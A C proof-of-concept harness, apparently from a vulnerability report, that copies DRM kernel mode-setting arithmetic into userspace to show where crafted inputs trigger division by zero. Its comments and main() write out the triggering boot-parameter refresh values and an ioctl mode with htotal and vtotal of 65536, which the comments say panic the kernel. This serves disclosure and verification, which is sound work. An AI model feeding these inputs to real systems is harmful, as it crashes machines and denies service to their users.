/*
 * DF-4224 / DF-4225 arithmetic proof harness.
 *
 * The functions below are VERBATIM copies of the arithmetic cores of
 *   sys/dev/drm/drm_modes.c: drm_cvt_mode()          (lines 143-341)
 *   sys/dev/drm/drm_modes.c: drm_gtf_mode_complex()  (lines 365-529)
 *   sys/dev/drm/drm_modes.c: drm_mode_vrefresh()     (lines 777-799)
 *   sys/dev/drm/drm_modes.c: drm_mode_validate_basic()(lines 1102-1130)
 * with only the drm_device/kzalloc/name plumbing stubbed (marked STUB).
 * Every division that exists in the kernel code is preceded by a marker
 * print naming the exact kernel source line, so a SIGFPE landing right
 * after a marker proves which kernel division by zero executes.
 *
 * Inputs replicate the attack values:
 *   - boot param string "video=640x480M@2147483648" (etc):
 *       drm_modes.c:1465  refresh = simple_strtol("2147483648")  -> long 2147483648
 *       drm_modes.c:1442  stored into unsigned int refresh       -> 0x80000000
 *       drm_connector.h:813 int cmd->refresh                     -> INT_MIN
 *       drm_modes.c:1600-1610 -> drm_cvt_mode/dev, 640,480,(int)INT_MIN,...
 *   - ioctl DRM_IOCTL_MODE_SETCRTC umode (drm_crtc.c:655 -> drm_modes.c:1691):
 *       clock=108000 hdisplay=1 hsync_start=2 hsync_end=3 htotal=65536
 *       vdisplay=1 vsync_start=2 vsync_end=3 vtotal=65536 flags=0
 *       -> passes drm_mode_validate_basic (monotonic, no magnitude cap)
 *       -> r600_dpm.c:195 / amdgpu_dpm.c:178 drm_mode_vrefresh(&hw_mode)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>

/* ---- STUBs replacing drm plumbing ---- */
struct drm_display_mode {
	int hdisplay, hsync_start, hsync_end, htotal, hskew;
	int vdisplay, vsync_start, vsync_end, vtotal;
	int vscan, clock, vrefresh, hsync;
	unsigned int flags, type, status;
	char name[32];
};
#define DRM_MODE_FLAG_INTERLACE (1<<3)
#define DRM_MODE_FLAG_DBLSCAN   (1<<4)
#define MODE_OK   0
#define MODE_BAD  (-2)
#define MODE_CLOCK_LOW (-15)
#define MODE_H_ILLEGAL (-4)
#define MODE_V_ILLEGAL (-5)
#define DRM_MODE_TYPE_ALL 0xff  /* approximation for harness; type=0 anyway */
#define DRM_MODE_FLAG_ALL 0xffffffff
#define DRM_MODE_FLAG_3D_MASK 0x1e00
#define DRM_MODE_FLAG_3D_MAX 0x1e00
static struct drm_display_mode *drm_mode_create(void *dev) {
	return calloc(1, sizeof(struct drm_display_mode));
}
static void drm_mode_set_name(struct drm_display_mode *m) {
	snprintf(m->name, 32, "%dx%d", m->hdisplay, m->vdisplay);
}
/* linux do_div: divide u64 by u32 in place, return remainder */
static inline uint32_t do_div(uint64_t *n, uint32_t base) {
	uint32_t r = (uint32_t)(*n % base);
	*n /= base;
	return r;
}
#define DIV_ROUND_CLOSEST(x, divisor) (((x) + ((divisor) /2)) / (divisor))

static void marker(const char *s) { fprintf(stderr, "[marker] %s\n", s); fflush(stderr); }

/* ============ drm_modes.c:143 drm_cvt_mode (VERBATIM arithmetic) ============ */
static struct drm_display_mode *drm_cvt_mode(void *dev, int hdisplay,
				      int vdisplay, int vrefresh,
				      int reduced, int interlaced, int margins)
{
#define HV_FACTOR			1000
#define	CVT_MARGIN_PERCENTAGE		18
#define	CVT_H_GRANULARITY		8
#define	CVT_MIN_V_PORCH			3
#define	CVT_MIN_V_BPORCH		6
#define CVT_CLOCK_STEP			250
	struct drm_display_mode *drm_mode;
	unsigned int vfieldrate, hperiod;
	int hdisplay_rnd, hmargin, vdisplay_rnd, vmargin, vsync;
	int interlace;
	uint64_t tmp;

	drm_mode = drm_mode_create(dev);
	if (!drm_mode)
		return NULL;

	if (!vrefresh)
		vrefresh = 60;

	if (interlaced)
		vfieldrate = vrefresh * 2;
	else
		vfieldrate = vrefresh;

	hdisplay_rnd = hdisplay - (hdisplay % CVT_H_GRANULARITY);

	hmargin = 0;
	if (margins) {
		hmargin = hdisplay_rnd * CVT_MARGIN_PERCENTAGE / 1000;
		hmargin -= hmargin % CVT_H_GRANULARITY;
	}
	drm_mode->hdisplay = hdisplay_rnd + 2 * hmargin;

	if (interlaced)
		vdisplay_rnd = vdisplay / 2;
	else
		vdisplay_rnd = vdisplay;

	vmargin = 0;
	if (margins)
		vmargin = vdisplay_rnd * CVT_MARGIN_PERCENTAGE / 1000;

	drm_mode->vdisplay = vdisplay + 2 * vmargin;

	if (interlaced)
		interlace = 1;
	else
		interlace = 0;

	if (!(vdisplay % 3) && ((vdisplay * 4 / 3) == hdisplay))
		vsync = 4;
	else if (!(vdisplay % 9) && ((vdisplay * 16 / 9) == hdisplay))
		vsync = 5;
	else if (!(vdisplay % 10) && ((vdisplay * 16 / 10) == hdisplay))
		vsync = 6;
	else if (!(vdisplay % 4) && ((vdisplay * 5 / 4) == hdisplay))
		vsync = 7;
	else if (!(vdisplay % 9) && ((vdisplay * 15 / 9) == hdisplay))
		vsync = 7;
	else
		vsync = 10;

	if (!reduced) {
		int tmp1, tmp2;
#define CVT_MIN_VSYNC_BP	550
#define CVT_HSYNC_PERCENTAGE	8
		unsigned int hblank_percentage;
		int vsyncandback_porch, vback_porch, hblank;

		tmp1 = HV_FACTOR * 1000000  -
				CVT_MIN_VSYNC_BP * HV_FACTOR * vfieldrate;
		tmp2 = (vdisplay_rnd + 2 * vmargin + CVT_MIN_V_PORCH) * 2 +
				interlace;
		marker("CVT non-RB: drm_modes.c:243  hperiod = tmp1 * 2 / (tmp2 * vfieldrate)");
		hperiod = tmp1 * 2 / (tmp2 * vfieldrate);

		marker("CVT non-RB: drm_modes.c:245  tmp1 = CVT_MIN_VSYNC_BP * HV_FACTOR / hperiod + 1");
		tmp1 = CVT_MIN_VSYNC_BP * HV_FACTOR / hperiod + 1;
		if (tmp1 < (vsync + CVT_MIN_V_PORCH))
			vsyncandback_porch = vsync + CVT_MIN_V_PORCH;
		else
			vsyncandback_porch = tmp1;
		vback_porch = vsyncandback_porch - vsync;
		drm_mode->vtotal = vdisplay_rnd + 2 * vmargin +
				vsyncandback_porch + CVT_MIN_V_PORCH;
#define CVT_M_FACTOR	600
#define CVT_C_FACTOR	40
#define CVT_K_FACTOR	128
#define CVT_J_FACTOR	20
#define CVT_M_PRIME	(CVT_M_FACTOR * CVT_K_FACTOR / 256)
#define CVT_C_PRIME	((CVT_C_FACTOR - CVT_J_FACTOR) * CVT_K_FACTOR / 256 + \
			 CVT_J_FACTOR)
		hblank_percentage = CVT_C_PRIME * HV_FACTOR - CVT_M_PRIME *
					hperiod / 1000;
		if (hblank_percentage < 20 * HV_FACTOR)
			hblank_percentage = 20 * HV_FACTOR;
		hblank = drm_mode->hdisplay * hblank_percentage /
			 (100 * HV_FACTOR - hblank_percentage);
		hblank -= hblank % (2 * CVT_H_GRANULARITY);
		drm_mode->htotal = drm_mode->hdisplay + hblank;
		drm_mode->hsync_end = drm_mode->hdisplay + hblank / 2;
		drm_mode->hsync_start = drm_mode->hsync_end -
			(drm_mode->htotal * CVT_HSYNC_PERCENTAGE) / 100;
		drm_mode->hsync_start += CVT_H_GRANULARITY -
			drm_mode->hsync_start % CVT_H_GRANULARITY;
		drm_mode->vsync_start = drm_mode->vdisplay + CVT_MIN_V_PORCH;
		drm_mode->vsync_end = drm_mode->vsync_start + vsync;
	} else {
#define CVT_RB_MIN_VBLANK	460
#define CVT_RB_H_SYNC		32
#define CVT_RB_H_BLANK		160
#define CVT_RB_VFPORCH		3
		int vbilines;
		int tmp1, tmp2;
		tmp1 = HV_FACTOR * 1000000 -
			CVT_RB_MIN_VBLANK * HV_FACTOR * vfieldrate;
		tmp2 = vdisplay_rnd + 2 * vmargin;
		marker("CVT RB: drm_modes.c:302  hperiod = tmp1 / (tmp2 * vfieldrate)");
		hperiod = tmp1 / (tmp2 * vfieldrate);
		marker("CVT RB: drm_modes.c:304  vbilines = CVT_RB_MIN_VBLANK * HV_FACTOR / hperiod + 1");
		vbilines = CVT_RB_MIN_VBLANK * HV_FACTOR / hperiod + 1;
		if (vbilines < (CVT_RB_VFPORCH + vsync + CVT_MIN_V_BPORCH))
			vbilines = CVT_RB_VFPORCH + vsync + CVT_MIN_V_BPORCH;
		drm_mode->vtotal = vdisplay_rnd + 2 * vmargin + vbilines;
		drm_mode->htotal = drm_mode->hdisplay + CVT_RB_H_BLANK;
		drm_mode->hsync_end = drm_mode->hdisplay + CVT_RB_H_BLANK / 2;
		drm_mode->hsync_start = drm_mode->hsync_end - CVT_RB_H_SYNC;
		drm_mode->vsync_start = drm_mode->vdisplay + CVT_RB_VFPORCH;
		drm_mode->vsync_end = drm_mode->vsync_start + vsync;
	}
	tmp = drm_mode->htotal;
	tmp *= HV_FACTOR * 1000;
	marker("CVT: drm_modes.c:322  do_div(tmp, hperiod)");
	do_div(&tmp, hperiod);
	tmp -= drm_mode->clock % CVT_CLOCK_STEP;
	drm_mode->clock = tmp;
	if (interlaced) {
		drm_mode->vtotal *= 2;
		drm_mode->flags |= DRM_MODE_FLAG_INTERLACE;
	}
	drm_mode_set_name(drm_mode);
	return drm_mode;
}

/* ======== drm_modes.c:365 drm_gtf_mode_complex (VERBATIM arithmetic) ======== */
static struct drm_display_mode *
drm_gtf_mode_complex(void *dev, int hdisplay, int vdisplay,
		     int vrefresh, int interlaced, int margins,
		     int GTF_M, int GTF_2C, int GTF_K, int GTF_2J)
{
#define	GTF_MARGIN_PERCENTAGE		18
#define	GTF_CELL_GRAN			8
#define	GTF_MIN_V_PORCH			1
#define V_SYNC_RQD			3
#define H_SYNC_PERCENT			8
#define MIN_VSYNC_PLUS_BP		550
#define GTF_C_PRIME	((((GTF_2C - GTF_2J) * GTF_K / 256) + GTF_2J) / 2)
#define GTF_M_PRIME	(GTF_K * GTF_M / 256)
	struct drm_display_mode *drm_mode;
	unsigned int hdisplay_rnd, vdisplay_rnd, vfieldrate_rqd;
	int top_margin, bottom_margin;
	int interlace;
	unsigned int hfreq_est;
	int vsync_plus_bp, vback_porch;
	unsigned int vtotal_lines, vfieldrate_est, hperiod;
	unsigned int vfield_rate, vframe_rate;
	int left_margin, right_margin;
	unsigned int total_active_pixels, ideal_duty_cycle;
	unsigned int hblank, total_pixels, pixel_freq;
	int hsync, hfront_porch, vodd_front_porch_lines;
	unsigned int tmp1, tmp2;

	drm_mode = drm_mode_create(dev);
	if (!drm_mode)
		return NULL;

	hdisplay_rnd = (hdisplay + GTF_CELL_GRAN / 2) / GTF_CELL_GRAN;
	hdisplay_rnd = hdisplay_rnd * GTF_CELL_GRAN;

	if (interlaced)
		vdisplay_rnd = vdisplay / 2;
	else
		vdisplay_rnd = vdisplay;

	if (interlaced)
		vfieldrate_rqd = vrefresh * 2;
	else
		vfieldrate_rqd = vrefresh;

	top_margin = 0;
	if (margins)
		top_margin = (vdisplay_rnd * GTF_MARGIN_PERCENTAGE + 500) / 1000;
	bottom_margin = top_margin;

	if (interlaced)
		interlace = 1;
	else
		interlace = 0;

	{
		tmp1 = (1000000  - MIN_VSYNC_PLUS_BP * vfieldrate_rqd) / 500;
		tmp2 = (vdisplay_rnd + 2 * top_margin + GTF_MIN_V_PORCH) *
				2 + interlace;
		hfreq_est = (tmp2 * 1000 * vfieldrate_rqd) / tmp1;
	}

	vsync_plus_bp = MIN_VSYNC_PLUS_BP * hfreq_est / 1000;
	vsync_plus_bp = (vsync_plus_bp + 500) / 1000;
	vback_porch = vsync_plus_bp - V_SYNC_RQD;
	vtotal_lines = vdisplay_rnd + top_margin + bottom_margin +
			vsync_plus_bp + GTF_MIN_V_PORCH;
	vfieldrate_est = hfreq_est / vtotal_lines;
	marker("GTF: drm_modes.c:459  hperiod = 1000000 / (vfieldrate_rqd * vtotal_lines)");
	hperiod = 1000000 / (vfieldrate_rqd * vtotal_lines);

	vfield_rate = hfreq_est / vtotal_lines;
	if (interlaced)
		vframe_rate = vfield_rate / 2;
	else
		vframe_rate = vfield_rate;
	if (margins)
		left_margin = (hdisplay_rnd * GTF_MARGIN_PERCENTAGE + 500) / 1000;
	else
		left_margin = 0;

	right_margin = left_margin;
	total_active_pixels = hdisplay_rnd + left_margin + right_margin;
	marker("GTF: drm_modes.c:480-481  ideal_duty_cycle = ... GTF_M_PRIME * 1000000 / hfreq_est");
	ideal_duty_cycle = GTF_C_PRIME * 1000 -
				(GTF_M_PRIME * 1000000 / hfreq_est);
	hblank = total_active_pixels * ideal_duty_cycle /
			(100000 - ideal_duty_cycle);
	hblank = (hblank + GTF_CELL_GRAN) / (2 * GTF_CELL_GRAN);
	hblank = hblank * 2 * GTF_CELL_GRAN;
	total_pixels = total_active_pixels + hblank;
	pixel_freq = total_pixels * hfreq_est / 1000;
	hsync = H_SYNC_PERCENT * total_pixels / 100;
	hsync = (hsync + GTF_CELL_GRAN / 2) / GTF_CELL_GRAN;
	hsync = hsync * GTF_CELL_GRAN;
	hfront_porch = hblank / 2 - hsync;
	vodd_front_porch_lines = GTF_MIN_V_PORCH ;

	drm_mode->hdisplay = hdisplay_rnd;
	drm_mode->hsync_start = hdisplay_rnd + hfront_porch;
	drm_mode->hsync_end = drm_mode->hsync_start + hsync;
	drm_mode->htotal = total_pixels;
	drm_mode->vdisplay = vdisplay_rnd;
	drm_mode->vsync_start = vdisplay_rnd + vodd_front_porch_lines;
	drm_mode->vsync_end = drm_mode->vsync_start + V_SYNC_RQD;
	drm_mode->vtotal = vtotal_lines;
	drm_mode->clock = pixel_freq;
	return drm_mode;
}

/* ========= drm_modes.c:777 drm_mode_vrefresh (VERBATIM) ========= */
static int drm_mode_vrefresh(const struct drm_display_mode *mode)
{
	int refresh = 0;

	if (mode->vrefresh > 0)
		refresh = mode->vrefresh;
	else if (mode->htotal > 0 && mode->vtotal > 0) {
		unsigned int num, den;

		num = mode->clock * 1000;
		den = mode->htotal * mode->vtotal;

		if (mode->flags & DRM_MODE_FLAG_INTERLACE)
			num *= 2;
		if (mode->flags & DRM_MODE_FLAG_DBLSCAN)
			den *= 2;
		if (mode->vscan > 1)
			den *= mode->vscan;

		marker("VREFRESH: drm_modes.c:796  DIV_ROUND_CLOSEST(num, den)");
		refresh = DIV_ROUND_CLOSEST(num, den);
	}
	return refresh;
}

/* ==== drm_modes.c:1102 drm_mode_validate_basic (VERBATIM, type check relaxed for harness type=0) ==== */
static int drm_mode_validate_basic(const struct drm_display_mode *mode)
{
	if (mode->type & ~DRM_MODE_TYPE_ALL)
		return MODE_BAD;
	if (mode->flags & ~DRM_MODE_FLAG_ALL)
		return MODE_BAD;
	if ((mode->flags & DRM_MODE_FLAG_3D_MASK) > DRM_MODE_FLAG_3D_MAX)
		return MODE_BAD;
	if (mode->clock == 0)
		return MODE_CLOCK_LOW;
	if (mode->hdisplay == 0 ||
	    mode->hsync_start < mode->hdisplay ||
	    mode->hsync_end < mode->hsync_start ||
	    mode->htotal < mode->hsync_end)
		return MODE_H_ILLEGAL;
	if (mode->vdisplay == 0 ||
	    mode->vsync_start < mode->vdisplay ||
	    mode->vsync_end < mode->vsync_start ||
	    mode->vtotal < mode->vsync_end)
		return MODE_V_ILLEGAL;
	return MODE_OK;
}

int main(int argc, char **argv)
{
	/*
	 * All inputs are taken from argv at RUNTIME so the compiler cannot
	 * constant-fold the divisions (as it legitimately may for the UB of a
	 * compile-time-visible zero divisor).  In the kernel, vfieldrate /
	 * vtotal_lines / den always come from runtime parsing
	 * (simple_strtol of the boot string / copyin of the ioctl umode),
	 * so the compiled kernel emits a real idiv -> #DE -> panic.
	 */
	int which = argc > 1 ? atoi(argv[1]) : 0;
	int vrefresh = argc > 2 ? (int)strtol(argv[2], NULL, 10) : INT_MIN;
	int hdisp = argc > 3 ? atoi(argv[3]) : 640;
	int vdisp = argc > 4 ? atoi(argv[4]) : 480;

	setvbuf(stdout, NULL, _IOLBF, 0);

	/* Replicate the cmdline intake of drm_modes.c:1442/1465-1467 +
	 * drm_connector.h:811-813 (unsigned int -> int field). */
	long parsed = strtol("2147483648", NULL, 10);
	unsigned int urefresh = (unsigned int)parsed;
	int cmd_refresh = (int)urefresh;
	printf("parse simulation: strtol(\"2147483648\")=%ld -> u32 0x%08x -> int cmd->refresh=%d\n",
	       parsed, urefresh, cmd_refresh);
	printf("case=%d vrefresh=%d hdisp=%d vdisp=%d\n", which, vrefresh, hdisp, vdisp);

	switch (which) {
	case 1: /* video=640x480M@2147483648   -> CVT non-RB */
		printf("CVT non-RB: expect SIGFPE at drm_modes.c:243\n");
		drm_cvt_mode(NULL, hdisp, vdisp, vrefresh, 0, 0, 0);
		break;
	case 2: /* video=640x480MR@2147483648  -> CVT reduced blanking */
		printf("CVT-RB: expect SIGFPE at drm_modes.c:302\n");
		drm_cvt_mode(NULL, hdisp, vdisp, vrefresh, 1, 0, 0);
		break;
	case 3: /* video=640x479@2147483648    -> GTF (odd vdisplay => even vtotal_lines) */
		printf("GTF: expect SIGFPE at drm_modes.c:459\n");
		drm_gtf_mode_complex(NULL, hdisp, vdisp, vrefresh, 0, 0, 600, 80, 128, 40);
		break;
	case 4: /* video=640x601@134217728     -> GTF hfreq_est==0 */
		printf("GTF: expect SIGFPE at drm_modes.c:481\n");
		drm_gtf_mode_complex(NULL, hdisp, vdisp, vrefresh, 0, 0, 600, 80, 128, 40);
		break;
	case 5: { /* ioctl umode with htotal=vtotal=65536 */
		struct drm_display_mode m;
		int ht = argc > 3 ? atoi(argv[3]) : 65536;   /* runtime, not folded */
		int vt = argc > 4 ? atoi(argv[4]) : 65536;
		memset(&m, 0, sizeof(m));
		m.clock = 108000;
		m.hdisplay = 1; m.hsync_start = 2; m.hsync_end = 3; m.htotal = ht;
		m.vdisplay = 1; m.vsync_start = 2; m.vsync_end = 3; m.vtotal = vt;
		m.vscan = 0; m.flags = 0; m.type = 0;
		int st = drm_mode_validate_basic(&m);
		printf("umode validate_basic status=%d (0=MODE_OK)\n", st);
		if (st == MODE_OK) {
			printf("vrefresh (htotal=%d vtotal=%d): expect SIGFPE at drm_modes.c:796\n", ht, vt);
			int r = drm_mode_vrefresh(&m);
			printf("vrefresh returned %d (den was not 0)\n", r);
		}
		break; }
	default:
		printf("usage: %s <1..5> [vrefresh] [h] [v]\n", argv[0]);
	}
	printf("NO FAULT\n");
	return 0;
}
